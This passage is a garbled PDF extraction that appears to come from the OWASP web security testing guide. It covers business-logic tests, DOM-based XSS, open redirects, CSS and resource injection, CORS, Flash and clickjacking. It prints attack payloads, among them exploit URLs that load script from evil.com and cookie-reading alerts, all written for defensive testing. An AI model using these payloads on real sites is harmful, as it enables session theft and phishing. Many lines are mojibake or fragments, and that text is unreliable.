the front end. Additionally, system artifacts such as logs must be
protected from unauthorized read, writing and removal.
Example
182
Example 1
Imagine an ASP.NET application GUI application that only allows
the admin user to change the password for other users in the
system. The admin user will see the username and password
fields to enter a username and password while other users will
not see either field. However, if a non admin user submits information in the username and password field through a proxy they
may be able to trick the server into believing that the request
has come from an admin user and change password of other users.
Example 2
Most web applications have dropdown lists making it easy for
the user to quickly select their state, month of birth, etc. Suppose
a Project Management application allowed users to login and
depending on their privileges presented them with a drop down
list of projects they have access to. What happens if an attacker finds the name of another project that they should not have
access to and submits the information via a proxy. Will the application give access to the project? They should not have access
even though they skipped an authorization business logic check.
Example 3
Suppose the motor vehicle administration system required an
employee initially verify each citizens documentation and information when they issue an identification or drivers license. At
this point the business process has created data with a high level
of integrity as the integrity of submitted data is checked by the
application. Now suppose the application is moved to the Internet so employees can log on for full service or citizens can log on
for a reduced self-service application to update certain information. At this point an attacker may be able to use an intercepting
proxy to add or update data that they should not have access to
and they could destroy the integrity of the data by stating that
the citizen was not married but supplying data for a spouses
name. This type of inserting or updating of unverified data destroys the data integrity and might have been prevented if the
business process logic was followed.
Example 4
Many systems include logging for auditing and troubleshooting
purposes. But, how good/valid is the information in these logs?
Can they be manipulated by attackers either intentionally or accidentially having their integrity destroyed?
How to Test
Generic Testing Method
`
looking for parts of the application/system (components i.e.
For example, input fields, databases or logs) that move, store
or handle data/information.
0
data/information is logically acceptable and what types the
application/system should guard against. Also, consider who
according to the business logic is allowed to insert, update and
delete data/information and in each component.
values with invalid data/information into each component (i.e.
input, database, or log) by users that .should not be allowed per
Tools
183
Summary
It is possible that attackers can gather information on an application by monitoring the time it takes to complete a task or give
a respond. Additionally, attackers may be able to manipulate and
break designed business process flows by simply keeping active
sessions open and not submitting their transactions in the expected time frame.
Process timing logic vulnerabilities is unique in that these manual misuse cases should be created considering execution and
transaction timing that are application/system specific.
Processing timing may give/leak information on what is being
done in the application/system background processes. If an application allows users to guess what the particulate next outcome will be by processing time variations, users will be able to
adjust accordingly and change behavior based on the expectation and game the system.
Example
Example 1
Video gambling/slot machines may take longer to process a
transaction just prior to a large payout. This would allow astute
gamblers to gamble minimum amounts until they see the long
process time which would then prompt them to bet the maximum.
Example 2
Many system log on processes ask for the user name and password. If you look closely you may be able to see that entering an
invalid user name and invalid user password takes more time to
return an error than entering a valid username and invalid user
password. This may allow the attacker to know if they have a
valid username and not need to rely on the GUI message.
Example 3
Most Arenas or travel agencies have ticketing applications that
allow users to purchase tickets and reserve seats. When the user
requests the tickets seats are locked or reserved pending payment. What if an attacker keeps reserving seats but not checking
out? Will the seats be released, or will no tickets be sold? Some
ticket vendors now only allow users 5 minutes to complete a
transaction or the transaction is invalidated.
Example 4
Suppose a precious metals e-commerce site allows users to
make purchases with a price quote based on market price at the
time they log on. What if an attacker logs on and places an order
but does not complete the transaction until later in the day only
of the price of the metals goes up? Will the attacker get the initial
lower price?
How to Test
`
testing looking for application/system functionality that may
be impacted by time. Such as execution time or actions that
help users predict a future outcome or allow one to circumvent
any part of the business logic or workflow. For example, not
completing transactions in an expected time.
#
can not gain an advantage based on any timing.
Related Test Cases
jRj1d&dd
jdjRj1d&dd
References
None
Remediation
Develop applications with processing time in mind. If attackers
could possibly gain some type of advantage from knowing the
different processing times and results add extra steps or processing so that no matter the results they are provided in the
same time frame.
Additionally, the application/system must have mechanism in
place to not allow attackers to extend transactions over an acceptable amount of time. This may be done by cancelling or resetting transactions after a specified amount of time has passed
like some ticket vendors are now using.
Summary
Many of the problems that applications are solving require limits to the number of times a function can be used or action can
be executed. Applications must be smart enough to not allow
the user to exceed their limit on the use of these functions since
in many cases each time the function is used the user may gain
some type of benefit that must be accounted for to properly
compensate the owner. For example: an eCommerce site may
only allow a users apply a discount once per transaction, or some
applications may be on a subscription plan and only allow users
to download three complete documents monthly.
Vulnerabilities related to testing for the function limits are application specific and misuse cases must be created that strive to
exercise parts of the application/functions/ or actions more than
the allowable number of times.
Attackers may be able to circumvent the business logic and execute a function more times than allowable exploiting the application for personal gain.
Example
184
Summary
Workflow vulnerabilities involve any type of vulnerability that allows the attacker to misuse an application/system in a way that
will allow them to circumvent (not follow) the designed/intended
workflow.
A workflow consists of a sequence of connected steps where
each step follows without delay or gap and ends just before the
subsequent step may begin. It is a depiction of a sequence of
operations, declared as work of a person or group, an organi-
185
cess in the correct order and prevent attackers from circumventing/skipping/or repeating any steps/processes in the workflow.
Test for workflow vulnerabilities involves developing business
logic abuse/misuse cases with the goal of successfully completing the business process while not completing the correct steps
in the correct order.
Summary
The misuse and invalid use of of valid functionality can identify
attacks attempting to enumerate the web application, identify
weaknesses, and exploit vulnerabilities. Tests should be undertaken to determine whether there are application-layer defensive mechanisms in place to protect the application.
The lack of active defenses allows an attacker to hunt for vulnerabilities without any recourse. The applications owner will thus
not know their application is under attack.
Example
An authenticated user undertakes the following (unlikely) sequence of actions:
[1] Attempt to access a file ID their roles is not permitted to
download
[2] Substitutes a single tick () instead of the file ID number
[3] Alters a GET request to a POST
[4] Adds an extra parameter
[5] Duplicates a parameter name/value pair
The application is monitoring for misuse and responds after the
5th event with extremely high confidence the user is an attacker.
For example the application:
#
&
functionality
(e.g. sanitized HTTP request headers, bodies and response
bodies)
If the application does not respond in any way and the attacker can continue to abuse functionality and submit clearly malicious content at the application, the application has failed this
test case. In practice the discrete example actions in the example
above are unlikely to occur like that. It is much more probable that
a fuzzing tool is used to identify weaknesses in each parameter
in turn. This is what a security tester will have undertaken too.
How to Test
This test is unusual in that the result can be drawn from all the
other tests performed against the web application. While performing all the other tests, take note of measures that might
indicate the application has in-built self-defense:
186
Tools
The tester can use many of the tools used for the other test cases.
References
`d, Software Assurance, US Department
Homeland Security
9` Common Misuse Scoring System (CMSS), NIST
^&
(CAPEC), The Mitre Corporation
Rzd^d^
d1, OWASP
Watson C, Coates M, Melton J and Groves G, Creating Attack
Aware Software Applications with Real-Time Defenses,
Summary
Many applications business processes allow for the upload and
manipulation of data that is submitted via files. But the business
process must check the files and only allow certain approved
file types. Deciding what files are approved is determined by
the business logic and is application/system specific. The risk in
that by allowing users to upload files, attackers may submit an
unexpected file type that that could be executed and adversely
impact the application or system through attacks that may deface the web site, perform remote commands, browse the system files, browse the local resources, attack other servers, or
exploit the local vulnerabilities, just to name a few.
Vulnerabilities related to the upload of unexpected file types is
unique in that the upload should quickly reject a file if it does not
have a specific extension. Additionally, this is different from uploading malicious files in that in most cases an incorrect file format may not by it self be inherently malicious but may be detrimental to the saved data. For example if an application accepts
Windows Excel files, if an similar database file is uploaded it may
be read but data extracted my be moved to incorrect locations.
The application may be expecting only certain file types to be
uploaded for processing, such as .CSV, .txt files. The application
may not validate the uploaded file by extension (for low assurance file validation) or content (high assurance file validation).
This may result in unexpected system or database results within
the application/system or give attackers additional methods to
exploit the application/system.
Example
Suppose a picture sharing application allows users to upload a
.gif or .jpg graphic file to the web site. What if an attacker is able
to upload an html file with a <script> tag in it or php file? The
system may move the file from a temporary location to the final
location where the php code can now be executed against the
application or system.
How to Test
Generic Testing Method
`
exploratory testing looking for file types that should be
unsupported by the application/system.
j
properly rejected.
9
place to verify that each file is properly evaluated.
Specific Testing Method
d
^
may contain files such as: jsp, exe, or html files containing script.
187
9
mechanism.
d
are properly prevented from uploading
Related Test Cases
j0&6d9
(OTG-CONFIG-003)
jnL0Rj1ndGR19
References
Rzd^n0nhttps://www.owasp.org
index.php/Unrestricted_File_Upload
0
upload - http://www.computerweekly.com/answer/Fileupload-security-best-practices-Block-a-malicious-file-upload
d^6^http:/
stackoverflow.com/questions/602539/stop-peopleuploading-malicious-php-files-via-forms
z&nn0#j
http://cwe.mitre.org/data/definitions/434.html
d^j60nhttps:/
www.datasprings.com/resources/dnn-tutorials/artmid/535/
articleid/65/secure-programming-tips-handling-file-uploads?
AspxAutoDetectCookieSupport=1
Remediation
Applications should be developed with mechanisms to only accept and manipulate acceptable files that the rest of the application functionality is ready to handle and expecting. Some specific examples include: Black or White listing of file extensions,
using Content-Type from the header, or using a file type recognizer, all to only allow specified file types into the system.
Summary
Many applications business processes allow for the upload of
data/information. We regularly check the validity and security of
text but accepting files can introduce even more risk. To reduce
the risk we may only accept certain file extensions, but attackers
are able to encapsulate malicious code into inert file types. Testing for malicious files verifies that the application/system is able
to correctly protect against attackers uploading malicious files.
Vulnerabilities related to the uploading of malicious files is
unique in that these malicious files can easily be rejected through including business logic that will scan files during
the upload process and reject those perceived as malicious.
Additionally, this is different from uploading unexpected files in
that while the file type may be accepted the file may still be malicious to the system.
Finally, malicious means different things to different systems,
for example Malicious files that may exploit SQL server vulnera-
188
jnn0jRj1ndGR19
Tools
Intercepting proxy
References
Rzd^n0nhttps://www.owasp.org
index.php/Unrestricted_File_Upload
z0n0Ldjhttp:/
www.acunetix.com/websitesecurity/upload-forms-threat/
0
http://www.computerweekly.com/answer/File-uploadsecurity-best-practices-Block-a-malicious-file-upload
Summary
DOM-based Cross-Site Scripting is the de-facto name for XSS
bugs which are the result of active browser-side content on a
page, typically JavaScript, obtaining user input and then doing
something unsafe with it which leads to execution of injected
code. This document only discusses JavaScript bugs which lead
to XSS.
d^6^
http://stackoverflow.com/questions/602539/stop-peopleuploading-malicious-php-files-via-forms
6j0L
http://www.techsupportalert.com/content/how-tell-if-filemalicious.htm
There have been very few papers published on this topic and, as
such, very little standardization of its meaning and formalized
testing exists.
z&nn0#j
http://cwe.mitre.org/data/definitions/434.html
How to Test
Not all XSS bugs require the attacker to control the content returned from the server, but can instead abuse poor JavaScript
coding practices to achieve the same results. The consequences
are the same as a typical XSS flaw, only the means of delivery is
different.
RL0n
http:/securitymecca.com/article/overview-of-malicious-fileupload-attacks/
9d0n
http://infosecauditor.wordpress.com/tag/malicious-fileupload/
z0n
http://palizine.plynt.com/issues/2011Apr/file-upload/
L1^
http://www.offensive-security.com/metasploit-unleashed/
Generating_Payloads
^ddj1
Shellcode Using Metasploit http://www.projectshellcode.
com/?q=node/29
Ljhttp://www.eicar.org/86-0-Intended
use.html
Remediation
While safeguards such as black or white listing of file extensions,
using Content-Type from the header, or using a file type recognizer may not always be protections against this type of vulnerability. Every application that accepts files from users must have
a mechanism to verify that the uploaded file does not contain
malicious code. Uploaded files should never be stored where the
users or attackers can directly access them.
Client-Side Testing
In comparison to other cross site scripting vulnerabilities (reflected and stored XSS), where an unsanitized parameter is
passed by the server, returned to the user and executed in the
context of the users browser, a DOM-based XSS vulnerability
controls the flow of the code by using elements of the Document
Object Model (DOM) along with code crafted by the attacker to
change the flow.
Due to their nature, DOM-based XSS vulnerabilities can be executed in many instances without the server being able to determine what is actually being executed. This may make many of
the general XSS filtering and detection techniques impotent to
such attacks.
The first hypothetical example uses the following client side
code:
An attacker may append #<script>alert(xss)</script> to the affected page URL which would, when executed, display the alert
box. In this instance, the appended code would not be sent to
the server as everything after the # character is not treated as
part of the query by the browser but as a fragment. In this example, the code is immediately executed and an alert of xss is
displayed by the page. Unlike the more common types of cross
189
Summary
A JavaScript Injection vulnerability is a subtype of Cross Site
Scripting (XSS) that involves the ability to inject arbitrary JavaScript code that is executed by the application inside the victims
browser.
This vulnerability can have many consequences, like disclosure
of a users session cookies that could be used to impersonate
the victim, or, more generally, it can allow the attacker to modify
the page content seen by the victims or the application behavior.
How to Test
Such vulnerability occurs when the application lacks of a proper
user supplied input and output validation.
JavaScript is used to dynamically populate web pages, this injection occur during this content processing phase and consequently affect the victim.
When trying to exploit this kind of issues, consider that some
characters are treated differently by different browsers. For reference see the DOM XSS Wiki.
The following script does not perform any validation of the vari-
190
able rr that contains the user supplied input via the query string
and additionally does not apply any form of encoding:
var rr = location.search.substring(1);
if(rr)
window.location=decodeURIComponent(rr);
This implies that an attacker could inject JavaScript code
simply by submitting the following query string: www.victim.
com/?javascript:alert(1)
Summary
HTML injection is a type of injection issue that occurs when a
user is able to control an input point and is able to inject arbitrary
191
Summary
This section describes how to check for Client Side URL Redirection, also known as Open Redirection. It is an input validation flaw
that exists when an application accepts an user controlled input
which specifies a link that leads to an external URL that could be
malicious. This kind of vulnerability could be used to accomplish a
phishing attack or redirect a victim to an infection page.
How to Test
This vulnerability occurs when an application accepts untrusted
input that contains an URL value without sanitizing it. This URL
value could cause the web application to redirect the user to another page as, for example, a malicious page controlled by the
attacker.
By modifying untrusted URL input to a malicious site, an attacker
may successfully launch a phishing scam and steal user credentials. Since the redirection is originated by the real application,
the phishing attempts may have a more trustworthy appearance.
A phishing attack example could be the following:
http://www.target.site?#redirect=www.fake-target.site
The victim that visits target.site will be automatically redirected
to fake-target.site where an attacker could place a fake page to
steal victims credentials.
Moreover open redirections could also be used to maliciously
craft an URL that would bypass the applications access control
checks and then forward the attacker to privileged functions
that they would normally not be able to access.
Black Box testing
Black box testing for Client Side URL Redirect is not usually performed since access to the source code is always available as it
needs to be sent to the client to be executed.
Gray Box testing
Testing for Client Side URL Redirect vulnerabilities:
When testers have to manually check for this type of vulnerability they have to identify if there are client side redirections implemented in the client side code (for example in the JavaScript
code).
These redirections could be implemented, for example in JavaScript, using the window.location object that can be used to take
the browser to another page by simply assigning a string to it. (as
you can see in the following snippet of code).
var redir = location.hash.substring(1);
if (redir)
window.location=http://+decodeURIComponent(redir);
In the previous example the script does not perform any validation of the variable redir, that contains the user supplied input
via the query string, and in the same time does not apply any
form of encoding, then this unvalidated input is passed to the
windows.location object originating a URL redirection vulnerability.
This implies that an attacker could redirect the victim to a malicious site simply by submitting the following query string:
http://www.victim.site/?#www.malicious.site
192
Tools
DOMinator - https://dominator.mindedsecurity.com/
References
OWASP Resources
#RLdd^d
DOMXSS.com - http://www.domxss.com
Whitepapers
Browser location/document URI/URL Sources - https://code
google.com/p/domxsswiki/wiki/LocationSources
i.e., what is returned when you ask the browser for things
like document.URL, document.baseURI, location, location.
href, etc.
Krzysztof Kotowicz: Local or Externa? Weird URL formats on
the loose - http://kotowicz.net/absolute/
Summary
A CSS Injection vulnerability involves the ability to inject arbitrary
CSS code in the context of a trusted web site, and this will be
rendered inside the victims browser. The impact of such a vulnerability may vary on the basis of the supplied CSS payload: it
could lead to Cross-Site Scripting in particular circumstances, to
data exfiltration in the sense of extracting sensitive data or to UI
modifications.
How to Test
Such a vulnerability occurs when the application allows to supply
user-generated CSS or it is possible to somehow interfere with
the legit stylesheets. Injecting code in the CSS context gives the
attacker the possibility to execute JavaScript in certain conditions
as well as extracting sensitive values through CSS selectors and
functions able to generate HTTP requests. Actually, giving the
users the possibility to customize their own personal pages by
using custom CSS files results in a considerable risk, and should
be definitely avoided.
The following JavaScript code shows a possible vulnerable
script in which the attacker is able to control the location.hash
(source) which reaches the cssText function (sink). This particular case may lead to DOMXSS in older browser versions, such as
Opera, Internet Explorer and Firefox; for reference see DOM XSS
Wiki, section Style Sinks.
<a id=a1>Click me</a>
<script>
if (location.hash.slice(1)) {
document.getElementById(a1).style.cssText = color: +
location.hash.slice(1);
}
</script>
Specifically the attacker could target the victim by asking her to
visit the following URLs:
source:current; (Opera [8,12])
n`G9&
The same vulnerability may appear in the case of classical reflected XSS in which for instance the PHP code looks like the following:
<style>
p{
color: <?php echo $_GET[color]; ?>;
text-align: center;
}
</style>
193
as attributes style.
Gray Box testing
Testing for CSS Injection vulnerabilities:
Manual testing needs to be conducted and the JavaScript code
analyzed in order to understand whether the attackers can inject its own content in CSS context. In particular we should be
interested in how the website returns CSS rules on the basis of
the inputs.
The following is a basic example:
<a id=a1>Click me</a>
<b>Hi</b>
<script>
$(a).click(function(){
$(b).attr(style,color: + location.hash.slice(1));
});
</script>
The above code contains a source location.hash that is controlled by the attacker that can inject directly in the attribute
style of an HTML element. As mentioned above, this may lead
to different results on the basis of the adopted browser and the
supplied payload.
It is recommended that testers use the jQuery function css(property, value) in such circumstances as follows, since this would
disallow any damaging injections. In general, we recommend to
use always a whitelist of allowed characters any time the input is
reflected in the CSS context.
<a id=a1>Click me</a>
<b>Hi</b>
<script>
$(a).click(function(){
$(b).css(color,location.hash.slice(1));
});
</script>
References
OWASP Resources
#RLdd^d
DOMXSS Wiki - https://code.google.com/p/domxsswiki/wiki
CssText
Presentations
DOM Xss Identification and Exploitation, Stefano Di Paola
h t t p : //d o m i n a t o r. g o o g l e c o d e . c o m / f i l e s / D O M X s s _
Identification_and_exploitation.pdf
Got Your Nose! How To Steal Your Precious Data Without
Using Scripts, Mario Heiderich - http://www.youtube.com/
watch?v=FIQvAaZj_HA
Bypassing Content-Security-Policy, Alex Kouzemtchenko
http://ruxcon.org.au/assets/slides/CSP-kuza55.pptx
Proof of Concepts
Summary
A ClientSide Resource Manipulation vulnerability is an input validation flaw that occurs when an application accepts an user
controlled input which specifies the path of a resource (for example the source of an iframe, js, applet or the handler of an XMLHttpRequest). Specifically, such a vulnerability consists in the
ability to control the URLs which link to some resources present
in a web page. The impact may vary on the basis of the type of
the element whose URL is controlled by the attacker, and it is
usually adopted to conduct Cross-Site Scripting attacks.
How to Test
Such a vulnerability occurs when the application employs user
controlled URLs for referencing external/internal resources. In
these circumstances it is possible to interfere with the expected
applications behavior in the sense of making it load and render
malicious objects.
The following JavaScript code shows a possible vulnerable
script in which the attacker is able to control the location.hash
(source) which reaches the attribute src of a script element.
This particular obviously leads XSS since an external JavaScript
could be easily injected in the trusted web site.
<script>
var d=document.createElement(script);
if(location.hash.slice(1))
d.src = location.hash.slice(1);
document.body.appendChild(d);
</script>
Specifically the attacker could target the victim by asking her to
visit the following URL:
www.victim.com/#http://evil.com/js.js
Where js.js contains:
alert(document.cookie)
Controlling scripts sources is a basic example, since some other
interesting and more subtle cases can take place. A widespread
scenario involves the possibility to control the URL called in a
CORS request; since CORS allows the target resource to be accessible by the requesting domain through a header based approach, then the attacker may ask the target page to load malicious content loaded on its own web site.
Refer to the following vulnerable code:
<b id=p></b>
194
<script>
function createCORSRequest(method, url) {
var xhr = new XMLHttpRequest();
xhr.open(method, url, true);
xhr.onreadystatechange = function () {
d
document.getElementById(p).innerHTML = this.responseText;
}
};
return xhr;
}
var xhr = createCORSRequest(GET, location.hash.slice(1));
xhr.send(null);
</script>
The location.hash is controlled by the attacker and it is used for
requesting an external resource, which will be reflected through
the construct innerHTML. Basically the attacker could ask the
victim to visit the following URL and at the same time he could
craft the payload handler.
Exploit URL: www.victim.com/#http://evil.com/html.html
Sink
Frame
iframe
src
Link
href
AJAX Request
URL
CSS
link
Sink
Image
img
Object
object
src
Script
script
data
src
Tools
DOMinator - https://dominator.mindedsecurity.com/
References
OWASP Resources
#RLdd^d
DOMXSS.com - http://www.domxss.com
DOMXSS TestCase - http://www.domxss.com/domxss/01
Basics/04_script_src.html
Tag/Method
Tag/Method
Whitepapers
DOM XSS Wiki - https://code.google.com/p/domxsswiki/wiki
LocationSources
Krzysztof Kotowicz: Local or External? Weird URL formats on
the loose - http://kotowicz.net/absolute/
http://evil.com/html.html
---<?php
header(Access-Control-Allow-Origin: http://www.victim.
com);
?>
<script>alert(document.cookie);</script>
Resource
Resource
href
Summary
Cross Origin Resource Sharing or CORS is a mechanism that enables a web browser to perform cross-domain requests using
the XMLHttpRequest L2 API in a controlled manner. In the past,
the XMLHttpRequest L1 API only allowed requests to be sent
within the same origin as it was restricted by the same origin
policy.
Cross-Origin requests have an Origin header, that identifies the
domain initiating the request and is always sent to the server.
CORS defines the protocol to use between a web browser and a
server to determine whether a cross-origin request is allowed.
In order to accomplish this goal, there are a few HTTP headers
involved in this process, that are supported by all major browsers and we will cover below including: Origin, Access-Control-Request-Method, Access-Control-Request-Headers, Access-Control-Allow-Origin, Access-Control-Allow-Credentials,
Access-Control-Allow-Methods, Access-Control-Allow-Headers.
The CORS specification mandates that for non simple requests,
such as requests other than GET or POST or requests that uses
credentials, a pre-flight OPTIONS request must be sent in advance to check if the type of request will have a bad impact on
the data. The pre-flight request checks the methods, headers
allowed by the server, and if credentials are permitted, based on
the result of the OPTIONS request, the browser decides whether
the request is allowed or not.
195
How to Test
Origin & Access-Control-Allow-Origin
The Origin header is always sent by the browser in a CORS request and indicates the origin of the request. The Origin header can not be changed from JavaScript however relying on this
header for Access Control checks is not a good idea as it may be
spoofed outside the browser, so you still need to check that application-level protocols are used to protect sensitive data.
Access-Control-Allow-Origin is a response header used by a
server to indicate which domains are allowed to read the response. Based on the CORS W3 Specification it is up to the client
to determine and enforce the restriction of whether the client
has access to the response data based on this header.
From a penetration testing perspective you should look for insecure configurations as for example using a * wildcard as value of
the Access-Control-Allow-Origin header that means all domains
are allowed. Other insecure example is when the server returns
back the Origin header without any additional checks, what can
lead to access of sensitive data. Note that this configuration is
very insecure, and is not acceptable in general terms, except in
the case of a public API that is intended to be accessible by everyone.
Access-Control-Request-Method & Access-Control-Allow-Method
The Access-Control-Request-Method header is used when a
browser performs a preflight OPTIONS request and let the client
indicate the request method of the final request. On the other
hand, the Access-Control-Allow-Method is a response header
used by the server to describe the methods the clients are allowed to use.
Access-Control-Request-Headers & Access-Control-Allow-Headers
These two headers are used between the browser and the server
to determine which headers can be used to perform a cross-origin request.
Access-Control-Allow-Credentials
This header as part of a preflight request indicates that the final
request can include user credentials.
Input validation
XMLHttpRequest L2 (or XHR L2) introduces the possibility of creating a cross-domain request using the XHR API for backwards
compatibility. This can introduce security vulnerabilities that in
XHR L1 were not present. Interesting points of the code to exploit
would be URLs that are passed to XMLHttpRequest without validation, specially if absolute URLS are allowed because that could
lead to code injection. Likewise, other part of the application that
can be exploited is if the response data is not escaped and we
can control it by providing user-supplied input.
Other headers
There are other headers involved like Access-Control-Max-Age
that determines the time a preflight request can be cached in
the browser, or Access-Control-Expose-Headers that indicates
which headers are safe to expose to the API of a CORS API specification, both are response headers specified in the CORS W3C
document.
196
d
document.getElementById(div1).innerHTML=req.
responseText;
}
}
var resource = location.hash.substring(1);
req.open(GET,resource,true);
req.send();
</script>
<body>
<div id=div1></div>
</body>
For example, a request like this will show the contents of the
profile.php file:
http://example.foo/main.php#profile.php
Request and response generated by this URL:
GET http://example.foo/profile.php HTTP/1.1
Host: example.foo
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8;
rv:24.0) Gecko/20100101 Firefox/24.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://example.foo/main.php
Connection: keep-alive
HTTP/1.1 200 OK
Date: Mon, 07 Oct 2013 18:20:48 GMT
Server: Apache/2.2.16 (Debian)
X-Powered-By: PHP/5.3.3-7+squeeze17
Vary: Accept-Encoding
Content-Length: 25
Keep-Alive: timeout=15, max=99
Connection: Keep-Alive
Content-Type: text/html
[Response Body]
Tools
197
Summary
ActionScript is the language, based on ECMAScript, used by Flash
applications when dealing with interactive needs. There are three
versions of the ActionScript language. ActionScript 1.0 and ActionScript 2.0 are very similar with ActionScript 2.0 being an extension of
ActionScript 1.0. ActionScript 3.0, introduced with Flash Player 9, is a
rewrite of the language to support object orientated design.
ActionScript, like every other language, has some implementation
patterns which could lead to security issues. In particular, since Flash
applications are often embedded in browsers, vulnerabilities like
DOM based Cross-Site Scripting (XSS) could be present in flawed
Flash applications.
How to Test
Since the first publication of Testing Flash Applications [1], new
versions of Flash player were released in order to mitigate some of
the attacks which will be described. Nevertheless, some issues still
remain exploitable because they are the result of insecure programming practices.
Decompilation
Since SWF files are interpreted by a virtual machine embedded in the
player itself, they can be potentially decompiled and analysed. The
most known and free ActionScript 2.0 decompiler is flare.
To decompile a SWF file with flare just type:
$ flare hello.swf
it will result in a new file called hello.flr.
Decompilation helps testers because it allows for source code assisted, or white-box, testing of the Flash applications. HPs free
SWFScan tool can decompile both ActionScript 2.0 and ActionScript
3.0 SWFScan
The OWASP Flash Security Project maintains a list of current disassemblers, decompilers and other Adobe Flash related testing tools.
Undefined Variables FlashVars
FlashVars are the variables that the SWF developer planned on receiving from the web page. FlashVars are typically passed in from
the Object or Embed tag within the HTML. For instance:
<object width=550 height=400 classid=clsid:D27CDB6E
-AE6D-11cf-96B8-444553540000
codebase=http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,124,0>
<param name=movie value=somefilename.swf>
0y
<embed src=somefilename.swf width=550
0y
</embed>
</object>
198
v5.load(Locale.DEFAULT_LANG + /player_ +
Locale.DEFAULT_LANG + .xml);
};
The above code could be attacked by requesting:
http://victim/file.swf?language=http://evil.example.org/malicious.xml?
Unsafe Methods
When an entry point is identified, the data it represents could be
used by unsafe methods. If the data is not filtered/validated using
the right regexp it could lead to some security issue.
Unsafe Methods since version r47 are:
loadVariables()
loadMovie()
getURL()
loadMovie()
loadMovieNum()
FScrollPane.loadScrollContent()
LoadVars.load
LoadVars.send
XML.load ( url )
LoadVars.load ( url )
Sound.loadSound( url , isStreaming );
NetStream.play( url );
flash.external.ExternalInterface.call(_root.callback)
htmlText
The Test
In order to exploit a vulnerability, the swf file should be hosted on
the victims host, and the techniques of reflected XSS must be used.
That is forcing the browser to load a pure swf file directly in the location bar (by redirection or social engineering) or by loading it through
an iframe from an evil page:
<iframe src=http://victim/path/to/file.swf></iframe>
This is because in this situation the browser will self-generate an
HTML page as if it were hosted by the victim host.
XSS
GetURL (AS2) / NavigateToURL (AS3):
The GetURL function in ActionScript 2.0 and NavigateToURL in ActionScript 3.0 lets the movie load a URI into the browsers window.
So if an undefined variable is used as the first argument for getURL:
getURL(_root.URI,_targetFrame);
Or if a FlashVar is used as the parameter that is passed to a naviga-
teToURL function:
var request:URLRequest = new URLRequest(FlashVarSuppliedURL);
navigateToURL(request);
Then this will mean its possible to call JavaScript in the same domain
where the movie is hosted by requesting:
http://victim/file.swf?URI=javascript:evilcode
getURL(javascript:evilcode,_self);
The same when only some part of getURL is controlled:
Dom Injection with Flash JavaScript injection
getUrl(javascript:function(+_root.arg+))
asfunction:
You can use the special asfunction protocol to cause the link to execute an ActionScript function in a SWF file instead of opening a URL.
Until release Flash Player 9 r48 asfunction could be used on every
method which has a URL as an argument. After that release, asfunction was restricted to use within an HTML TextField.
This means that a tester could try to inject:
asfunction:getURL,javascript:evilcode
in every unsafe method like:
loadMovie(_root.URL)
by requesting:
http://victim/file.swf?URL=asfunction:getURL,javascript:evilcode
ExternalInterface:
ExternalInterface.call is a static method introduced by Adobe to improve player/browser interaction for both ActionScript 2.0 and ActionScript 3.0.
From a security point of view it could be abused when part of its argument could be controlled:
flash.external.ExternalInterface.call(_root.callback);
the attack pattern for this kind of flaw should be something like
the following:
eval(evilcode)
199
asfunction
ExternalInterface
GetURL
Html Injection
v9.0 r47/48
Yes
v9.0 r115
No
Yes
Yes
Yes
Yes
Yes
Yes
v9.0 r124
No
Yes
Yes
Partially
Player Version
Result Expected:
Cross-Site Scripting and Cross-Site Flashing are the expected
results on a flawed SWF file.
Tools
200
the-Wh1t3-Rabbit/SWFScan-FREE-Flash-decompiler/bap/5440167
SWFIntruder: https://www.owasp.org/index.php
Category:SWFIntruder
Decompiler Flare: http://www.nowrap.de/flare.html
Compiler MTASC: http://www.mtasc.org/
Disassembler Flasm: http://flasm.sourceforge.net/
Swfmill Convert Swf to XML and vice versa: http://swfmill
org/
Summary
Clickjacking (which is a subset of the UI redressing) is a malicious technique that consists of deceiving a web user into interacting (in most cases by clicking) with something different
to what the user believes they are interacting with. This type of
attack, that can be used alone or in combination with other attacks, could potentially send unauthorized commands or reveal
confidential information while the victim is interacting on seemingly harmless web pages. The term Clickjacking was coined by
Jeremiah Grossman and Robert Hansen in 2008.
A Clickjacking attack uses seemingly innocuous features of HTML
The power of this method is due to the fact that the actions
performed by the victim are originated from the authentic target web page (hidden but authentic). Consequently some of the
anti-CSRF protections, that are deployed by the developers to
protect the web page from CSRF attacks, could be bypassed.
How to Test
As mentioned above, this type of attack is often designed to allow an attacker site to induce users actions on the target site
even if anti-CSRF tokens are being used. So its important, like
for the CSRF attack, to individuate web pages of the target site
201
202
`9&d
Internet Explorer 6, a frame can have the security attribute
that, if it is set to the value restricted, ensures that JavaScript
code, ActiveX controls, and re-directs to other sites do not
work in the frame.
Example:
<iframe src=http://target site security=restricted></
iframe>
d6jLG
sandbox. It enables a set of restrictions on content loaded
into the iframe. At this moment this attribute is only compatible
whit Chrome and Safari.
Example:
<iframe src=http://target site sandbox></iframe>
#^d
the designMode that can be turned on in the framing page (via
document.designMode), disabling JavaScript in top and subframe. The design mode is currently implemented in Firefox
and IE8.
onBeforeUnload event
The onBeforeUnload event could be used to evade frame busting
code. This event is called when the frame busting code wants to
destroy the iframe by loading the URL in the whole web page and
not only in the iframe. The handler function returns a string that
is prompted to the user asking confirm if he wants to leave the
page. When this string is displayed to the user is likely to cancel
the navigation, defeating tragets frame busting attempt.
The attacker can use this attack by registering an unload event
on the top page using the following example code:
